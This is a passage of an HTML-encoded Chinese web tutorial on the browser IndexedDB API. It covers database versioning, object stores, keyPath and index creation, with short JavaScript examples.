version&#xFF0C;&#x5B83;&#x7684;&#x4F7F;&#x7528;&#x573A;&#x666F;&#x53EA;&#x6709;&#x4E24;&#x79CD;&#xFF1A;</p>\n<ul>\n<li>&#x5F53;&#x9700;&#x8981;&#x4FEE;&#x6539; objectStore &#x65F6;</li>\n<li>&#x5F53;&#x9700;&#x8981;&#x6DFB;&#x52A0;&#x65B0;&#x7684; objectStore &#x65F6;</li>\n</ul>\n<p>&#x4ECE;&#x4EE3;&#x7801;&#x7684;&#x5C42;&#x9762;&#x6765;&#x770B;&#xFF0C;&#x5E76;&#x975E;&#x8FD9;&#x4E24;&#x4E2A;&#x4E8B;&#x60C5;&#x53D1;&#x751F;&#x624D;&#x89E6;&#x53D1;&#x4E86; version &#x7684;&#x6539;&#x53D8;&#xFF0C;&#x6070;&#x6070;&#x76F8;&#x53CD;&#xFF0C;&#x5982;&#x679C;&#x8981;&#x4FEE;&#x6539;&#x6216;&#x6DFB;&#x52A0; objectStore&#xFF0C;&#x5FC5;&#x987B;&#x901A;&#x8FC7;&#x4F20;&#x9012;&#x65B0;&#x7684; version &#x53C2;&#x6570;&#x5230; <code>indexedDB.open()</code> &#x65B9;&#x6CD5;&#x4E2D;&#xFF0C;&#x89E6;&#x53D1; <code>onupgradeneeded</code> &#x4E8B;&#x4EF6;&#xFF0C;&#x5728; <code>onupgradeneeded</code> &#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4E2D;&#x624D;&#x80FD;&#x5B9E;&#x73B0;&#x76EE;&#x7684;&#x3002;&#x4ECE;&#x9879;&#x76EE;&#x7684;&#x5F00;&#x53D1;&#x4E0A;&#x8BB2;&#xFF0C;&#x53EA;&#x4F1A;&#x5728;&#x91CD;&#x65B0;&#x53D1;&#x5E03;&#x4EE3;&#x7801;&#x65F6;&#x53BB;&#x5347;&#x7EA7; version&#xFF0C;&#x800C;&#x4E0D;&#x4F1A;&#x5728;&#x7A0B;&#x5E8F;&#x8FD0;&#x884C;&#x8FC7;&#x7A0B;&#x4E2D;&#x901A;&#x8FC7;&#x7A0B;&#x5E8F;&#x53BB;&#x66F4;&#x6539; version&#x3002;&#x5347;&#x7EA7; version&#xFF0C;&#x662F;&#x4E3A;&#x4E86;&#x5BF9;&#x6570;&#x636E;&#x5E93;&#x7ED3;&#x6784;&#x8FDB;&#x884C;&#x4FEE;&#x6539;&#x3002;</p>\n<h3 id=\"&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;\"><a name=\"&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;\" class=\"plugin-anchor\" href=\"#&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;</h3>\n<p>IndexedDB &#x4E2D;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x7684;&#x6982;&#x5FF5;&#x662F; transaction&#xFF08;&#x4E8B;&#x52A1;&#xFF09;&#xFF0C;&#x4E0D;&#x8FC7;&#x4F1A;&#x5728;&#x540E;&#x9762;&#x5177;&#x4F53;&#x4ECB;&#x7ECD;&#x4E8B;&#x52A1;&#x3002;&#x8FD9;&#x91CC;&#x53EA;&#x9700;&#x8981;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x8C03;&#x7528; <code>indexedDB.open()</code> &#x65B9;&#x6CD5;&#x4E4B;&#x540E;&#x5982;&#x4F55;&#x64CD;&#x4F5C;&#x6570;&#x636E;&#x5E93;&#x3002;&#x8981;&#x60F3;&#x64CD;&#x4F5C; IndexedDB &#x6570;&#x636E;&#xFF0C;&#x5FC5;&#x987B;&#x5148;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;&#x3002;&#x64CD;&#x4F5C;&#x6570;&#x636E;&#x5E93;&#x7684;&#x5B58;&#x50A8;&#x7ED3;&#x6784;&#x4EE5;&#x53CA;&#x6570;&#x636E;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x90FD;&#x662F;&#x8981;&#x5728;&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;&#x7684;&#x57FA;&#x7840;&#x4E0A;&#x8FDB;&#x884C;&#x7684;&#xFF0C;&#x90A3;&#x600E;&#x4E48;&#x83B7;&#x5F97;&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;&#x5462;&#xFF1F;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// db &#x5C31;&#x662F;&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token comment\">// &#x4F7F;&#x7528; db &#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;&#xFF0C;&#x53EF;&#x4EE5;&#x63A5;&#x7740;&#x505A;&#x4E00;&#x4E9B;&#x6570;&#x636E;&#x5904;&#x7406; ...</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>IndexedDB &#x6570;&#x636E;&#x5E93;&#x7684;&#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x4E2D;&#x90FD;&#x4F1A;&#x5728;&#x4E8B;&#x4EF6;&#x5BF9;&#x8C61;&#x4E2D;&#x5E26;&#x6709;&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;&#x5BF9;&#x8C61;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>event.target.result</code> &#x83B7;&#x53D6;&#xFF0C;&#x5728;&#x8FD9;&#x4E2A;&#x4F8B;&#x5B50;&#x4E2D;&#x662F;&#x5728; IndexedDB &#x6570;&#x636E;&#x5E93;&#x6253;&#x5F00;&#x6216;&#x8005;&#x521B;&#x5EFA;&#x6210;&#x529F;&#x540E;&#x901A;&#x8FC7; <code>onsuccess</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x83B7;&#x53D6;&#x5230;&#x4E86;&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;&#x3002;</p>\n<h3 id=\"&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;\"><a name=\"&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;\" class=\"plugin-anchor\" href=\"#&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5BF9;&#x8C61;&#x4ED3;&#x5E93;</h3>\n<p>objectStore &#x662F; IndexedDB &#x4E2D;&#x975E;&#x5E38;&#x6838;&#x5FC3;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x5728;&#x524D;&#x9762;&#x7684;&#x4ECB;&#x7ECD;&#x4E2D;&#xFF0C;&#x4E5F;&#x77E5;&#x9053;&#x4E86;&#x5B83;&#x662F;&#x6570;&#x636E;&#x7684;&#x5B58;&#x50A8;&#x4ED3;&#x5E93;&#xFF0C;&#x4E00;&#x4E2A; objectStore &#x7C7B;&#x4F3C;&#x4E8E;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x7684;&#x8868;&#xFF0C;&#x5B58;&#x653E;&#x7740;&#x76F8;&#x5173;&#x7684;&#x6240;&#x6709;&#x6570;&#x636E;&#x3002;&#x6240;&#x8C13;&#x7684; &#x201C;&#x76F8;&#x5173;&#x201D; &#x662F;&#x6307;&#xFF0C;&#x8FD9;&#x4E9B; object &#x5FC5;&#x987B;&#x5177;&#x5907;&#x76F8;&#x540C;&#x7684;&#x4E00;&#x4E2A;&#x5C5E;&#x6027;&#x540D;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;<strong>&#x4E3B;&#x952E;</strong> &#xFF0C;&#x5728; IndexedDB &#x4E2D;&#x88AB;&#x79F0;&#x4E4B;&#x4E3A; keyPath&#x3002;&#x8FD9;&#x8FD8;&#x6709;&#x70B9;&#x50CF;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x7684; primaryKey&#xFF0C;&#x4E0D;&#x8FC7;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x4E0D;&#x5FC5;&#x4E00;&#x5B9A;&#x6709; primaryKey&#xFF0C;&#x800C; objectStore &#x4E2D;&#x7684; keyPath &#x5FC5;&#x987B;&#x6709;&#x3002;</p>\n<p>&#x5982;&#x679C;&#x5B58;&#x5165;&#x7684;&#x67D0;&#x4E2A; object &#x4E0D;&#x5B58;&#x5728;&#x90A3;&#x4E2A;&#x5C5E;&#x6027;&#xFF0C;&#x800C;&#x8BE5;&#x5C5E;&#x6027;&#x5728; IndexedDB &#x4E2D;&#x53C8;&#x4E0D;&#x662F; autoIncrement&#xFF0C;&#x90A3;&#x4E48;&#x5C31;&#x4F1A;&#x62A5;&#x9519;&#xFF0C;&#x5982;&#x679C; autoIncrement &#x88AB;&#x8BBE;&#x7F6E;&#x4E3A; <code>true</code>&#xFF0C;&#x5728;&#x6CA1;&#x6709;&#x8BE5; key &#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x5B58;&#x5165;&#x6570;&#x636E;&#x5E93;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4F1A;&#x88AB;&#x81EA;&#x52A8;&#x6DFB;&#x52A0;&#x4E0A;&#xFF0C;&#x8FD9;&#x4E2A;&#x6548;&#x679C;&#x8DDF;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x7684;&#x81EA;&#x589E;&#x5B57;&#x6BB5;&#x662F;&#x4E00;&#x6837;&#x7684;&#x3002;</p>\n<p>&#x5728;&#x4F7F;&#x7528;&#x4E8B;&#x52A1;&#x5BF9; objectStore &#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#x524D;&#xFF0C;&#x9700;&#x8981;&#x521B;&#x5EFA;&#x5BF9;&#x5E94;&#x7684; objectStore&#x3002;&#x521B;&#x5EFA; objectStore &#x548C;&#x4FEE;&#x6539; objectStore &#x90FD;&#x53EA;&#x80FD;&#x5728; db &#x7684; <code>onupgradeneeded</code> &#x4E8B;&#x4EF6;&#x4E2D;&#x8FDB;&#x884C;&#xFF0C;&#x56E0;&#x6B64;&#x8981;&#x521B;&#x5EFA; objectStore &#x5FC5;&#x987B;&#x5728; <code>indexedDB.open()</code> &#x64CD;&#x4F5C;&#x4E4B;&#x540E;&#x6765;&#x8FDB;&#x884C;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  db<span class=\"token punctuation\">.</span><span class=\"token function\">createObjectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mystore&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>keyPath<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;id&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x4E2D;&#x4F7F;&#x7528; <code>db.createObjectStore()</code> &#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0; objectStore &#x7684;&#x521B;&#x5EFA;&#x3002;&#x4F46;&#x662F;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x4E00;&#x4E2A; db &#x4E2D;&#x662F;&#x4E0D;&#x5141;&#x8BB8;&#x540C;&#x540D;&#x7684; objectStore &#x7684;&#xFF0C;&#x56E0;&#x6B64;&#xFF0C;&#x5982;&#x679C;&#x7B2C;&#x4E8C;&#x6B21;&#x901A;&#x8FC7; <code>createObjectStore()</code> &#x521B;&#x5EFA;&#x76F8;&#x540C;&#x540D;&#x7684; objectStore&#xFF0C;&#x7A0B;&#x5E8F;&#x4F1A;&#x62A5;&#x9519;&#x3002;</p>\n<p>&#x53E6;&#x5916;&#xFF0C;&#x4E00;&#x65E6;&#x4E00;&#x4E2A; objectStore &#x88AB;&#x521B;&#x5EFA;&#xFF0C;&#x5B83;&#x7684; name &#x548C; keyPath &#x662F;&#x4E0D;&#x80FD;&#x4FEE;&#x6539;&#x7684;&#x3002;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>db.objectStoreNames</code> &#x5C5E;&#x6027;&#x6765;&#x5224;&#x65AD;&#x662F;&#x5426;&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#x540C;&#x540D;&#x7684; objectStore &#x53EF;&#x4EE5;&#x907F;&#x514D;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token keyword\">let</span> objectStore\n  <span class=\"token comment\">// &#x5982;&#x679C;&#x4E0D;&#x5B58;&#x5728;&#x540C;&#x540D;&#x7684; Store&#xFF0C;&#x5C31;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>db<span class=\"token punctuation\">.</span>objectStoreNames<span class=\"token punctuation\">.</span><span class=\"token function\">contains</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mystore&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    objectStore <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">createObjectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mystore&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>keyPath<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;id&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x5982;&#x679C;&#x5B58;&#x5728;&#x540C;&#x540D;&#x7684; store&#xFF0C;&#x5C31;&#x76F4;&#x63A5;&#x53D6;&#x51FA;&#x6765;</span>\n    objectStore <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mystore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x7D22;&#x5F15;\"><a name=\"&#x7D22;&#x5F15;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7D22;&#x5F15;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7D22;&#x5F15;\" class=\"plugin-anchor\" href=\"#&#x7D22;&#x5F15;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7D22;&#x5F15;</h3>\n<p>&#x5728; IndexedDB &#x4E2D;&#x4E5F;&#x5B58;&#x5728;&#x7D22;&#x5F15;&#xFF0C;&#x4F46;&#x548C;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x7D22;&#x5F15;&#x7684;&#x4F5C;&#x7528;&#x4E0D;&#x540C;&#xFF0C;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x7684;&#x7D22;&#x5F15;&#x662F;&#x5BF9;&#x6307;&#x5B9A;&#x5B57;&#x6BB5;&#x8FDB;&#x884C;&#x7279;&#x6B8A;&#x8BB0;&#x5F55;&#xFF0C;&#x4EE5;&#x65B9;&#x4FBF;&#x5728;&#x68C0;&#x7D22;&#x65F6;&#x63D0;&#x9AD8;&#x68C0;&#x7D22;&#x6027;&#x80FD;&#x3002;IndexedDB &#x4E2D;&#x7684;&#x7D22;&#x5F15;&#xFF0C;&#x662F;&#x6307;&#x5728;&#x9664;&#x4E86;&#x8BBE;&#x7F6E;&#x7684; keyPath &#x4E4B;&#x5916;&#xFF0C;&#x63D0;&#x4F9B;&#x5176;&#x4ED6;&#x7684;&#x68C0;&#x7D22;&#x65B9;&#x5F0F;&#x3002;&#x5728; IndexedDB &#x4E2D;&#xFF0C;<code>objectStore.get()</code> &#x65B9;&#x6CD5;&#x7528;&#x6765;&#x83B7;&#x53D6;&#x67D0;&#x4E00;&#x6761;&#x6570;&#x636E;&#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x7684;&#x9ED8;&#x8BA4;&#x7684;&#x53C2;&#x6570;&#x662F; keyPath &#x5BF9;&#x5E94;&#x7684;&#x503C;&#x3002;&#x800C;&#x5982;&#x679C;&#x8981;&#x7528;&#x5176;&#x4ED6;&#x7684;&#x5B57;&#x6BB5;&#x6765;&#x68C0;&#x7D22;&#x67D0;&#x4E2A; object&#xFF0C;&#x90A3;&#x5C31;&#x9EBB;&#x70E6;&#x4E86;&#xFF0C;&#x6240;&#x4EE5; IndexedDB &#x63D0;&#x4F9B;&#x4E86;&#x7D22;&#x5F15;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x901A;&#x8FC7;&#x4E00;&#x4E2A; index &#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x7D22;&#x5F15;&#x68C0;&#x7D22;&#x3002;&#x6240;&#x4EE5;&#x770B;&#x8D77;&#x6765; objectStore &#x7684;&#x7D22;&#x5F15;&#xFF0C;&#x7B49;&#x6548;&#x4E8E;&#x5173;&#x7CFB;&#x578B;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x7684;&#x8868;&#x7684;&#x5B57;&#x6BB5;&#x3002;</p>\n<p>&#x524D;&#x9762;&#x53CD;&#x590D;&#x63D0;&#x5230; keyPath &#x8FD9;&#x4E2A;&#x6982;&#x5FF5;&#x3002;&#x5728;&#x524D;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x91CC;&#x9762;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#x5728; <code>db.createObjectStore()</code> &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EF;&#x4EE5;&#x6307;&#x5B9A;&#x4E00;&#x4E2A; keyPath&#x3002;&#x5B9E;&#x9645;&#x4E0A;&#xFF0C;keyPath &#x7684;&#x6982;&#x5FF5;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x5B83;&#x89C4;&#x5B9A;&#x4E86;&#x5FC5;&#x987B;&#x8981;&#x628A; object &#x5C5E;&#x6027;&#x4F5C;&#x4E3A;&#x68C0;&#x7D22;&#x7684;&#x5165;&#x53E3;&#x3002;&#x5982; objectStore &#x4E2D;&#x6709;&#x4E00;&#x5806;&#x5BF9;&#x8C61;&#xFF0C;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token punctuation\">{</span>\n  id<span class=\"token punctuation\">:</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span>\n  name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;data1&apos;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">{</span>\n  id<span class=\"token punctuation\">:</span> <span class=\"token number\">2</span><span class=\"token punctuation\">,</span>\n  name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;data2&apos;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5982;&#x4E0A;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF0C;&#x8BBE;&#x7F6E;&#x7684; keyPath &#x4E3A; <code>id</code>, &#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>objectStore.get(1)</code> &#x65B9;&#x6CD5;&#x6765;&#x83B7;&#x53D6; keyPath &#x4E3A; <code>id = 1</code> &#x7684;&#x90A3;&#x6761;&#x6570;&#x636E;&#xFF0C;&#x56E0;&#x6B64;&#xFF0C;id &#x5BF9;&#x4E8E;&#x6240;&#x6709; object &#x800C;&#x8A00;&#x662F;&#x5E94;&#x8BE5;&#x662F;&#x552F;&#x4E00;&#x7684;&#x3002;&#x9700;&#x8981;&#x5728;&#x5EFA;&#x7ACB;&#x7D22;&#x5F15;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4F20;&#x5165;&#x4E00;&#x4E2A; <code>unique</code> &#x53C2;&#x6570;&#x786E;&#x4FDD;&#x552F;&#x4E00;&#xFF0C;&#x6240;&#x4EE5;&#x5B9E;&#x9645;&#x4E0A; <code>db.createObjectStore()</code> &#x7684;&#x65F6;&#x5019;&#x4F20;&#x5165;&#x7684; keyPath &#x662F;&#x4E00;&#x4E2A;&#x7279;&#x6B8A;&#x7684;&#x7D22;&#x5F15;&#x3002;&#x521B;&#x5EFA;&#x7D22;&#x5F15;&#x5B9E;&#x9645;&#x4E0A;&#x662F;&#x5BF9; <code>objectStore</code> &#x8FDB;&#x884C;&#x4FEE;&#x6539;&#xFF0C;&#x56E0;&#x6B64;&#xFF0C;&#x53EA;&#x80FD;&#x5728;&#x6570;&#x636E;&#x5E93;&#x7684; <code>onupgradeneeded</code> &#x4E8B;&#x4EF6;&#x4E2D;&#x5904;&#x7406;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token comment\">// &#x6CE8;&#x610F;&#x8FD9;&#x91CC;&#x5E94;&#x8BE5;&#x8FDB;&#x884C;&#x5224;&#x65AD;&#x662F;&#x5426;&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#x8FD9;&#x4E2A; objectStore&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x7565;&#x8FC7;</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">createObjectStore</span><span class=\"token punctuation\">(</span>\n    <span class=\"token string\">&apos;mystore&apos;</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">{</span>keyPath<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;id&apos;</span><span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x521B;&#x5EFA; id &#x4E3A;&#x7D22;&#x5F15;</span>\n  objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">createIndex</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;id&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;id&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>unique<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>objectStore &#x5BF9;&#x8C61;&#x6709;&#x4E00;&#x4E2A; <code>createIndex()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x521B;&#x5EFA;&#x7D22;&#x5F15;&#x3002;&#x5B83;&#x6709;&#x4E09;&#x4E2A;&#x53C2;&#x6570;:</p>\n<ul>\n<li>&#x7B2C;&#x4E00;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x8FD9;&#x4E2A;&#x7D22;&#x5F15;&#x7684; name&#x3002;</li>\n<li>&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x662F; key&#xFF0C;&#x8FD9;&#x4E2A; key &#x5BF9;&#x5E94;&#x7684;&#x5C31;&#x662F; object &#x7684;&#x5C5E;&#x6027;&#x540D;&#xFF0C;name &#x662F;&#x53EF;&#x4EE5;&#x81EA;&#x5DF1;&#x5B9A;&#x7684;&#xFF0C;&#x5B83;&#x4F1A;&#x7528;&#x5728;&#x540E;&#x9762;&#x7684; index &#x65B9;&#x6CD5;&#x4E2D;&#x8FDB;&#x884C;&#x68C0;&#x7D22;&#xFF0C;&#x4E5F;&#x4F1A;&#x88AB;&#x8BB0;&#x5F55;&#x5728; objectStore &#x7684; indexNames &#x5C5E;&#x6027;&#x91CC;&#x9762;&#xFF0C;&#x4F46;&#x662F; key &#x5FC5;&#x987B;&#x548C; object &#x7684;&#x5C5E;&#x6027;&#x5BF9;&#x5E94;&#x3002;</li>\n<li>&#x7B2C;&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#x662F; options&#xFF0C;&#x5176;&#x4E2D; unique &#x9009;&#x9879;&#x88AB;&#x653E;&#x5728;&#x8FD9;&#x91CC;&#x9762;&#x3002;</li>\n</ul>\n<p>objectStore &#x672C;&#x8EAB;&#x7684;&#x4FE1;&#x606F;&#x662F;&#x4E0D;&#x80FD;&#x4FEE;&#x6539;&#x7684;&#xFF0C;&#x4F8B;&#x5982; name &#x548C; keyPath &#x90FD;&#x662F;&#x4E0D;&#x80FD;&#x4FEE;&#x6539;&#x7684;&#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x6240;&#x62E5;&#x6709;&#x7684;&#x7D22;&#x5F15;&#x53EF;&#x4EE5;&#x88AB;&#x4FEE;&#x6539;&#xFF0C;&#x4FEE;&#x6539;&#x5176;&#x5B9E;&#x5C31;&#x662F;&#x5220;&#x9664;&#x6216;&#x6DFB;&#x52A0;&#x64CD;&#x4F5C;&#x3002;&#x5220;&#x9664;&#x7528;&#x5230;&#x7684;&#x5C31;&#x662F; <code>objectStore.deleteIndex()</code> &#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x5982;&#x679C;&#x60F3;&#x4FEE;&#x6539;&#x4E00;&#x4E2A;&#x7D22;&#x5F15;&#xFF0C;&#x8981;&#x505A;&#x7684;&#x5C31;&#x662F;&#x5148;&#x5220;&#x9664;&#x6389;&#x539F;&#x6765;&#x7684;&#x540C;&#x540D;&#x7D22;&#x5F15;&#xFF0C;&#x7136;&#x540E;&#x6DFB;&#x52A0;&#x65B0;&#x7684;&#x7D22;&#x5F15;&#xFF0C;&#x5982;&#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token 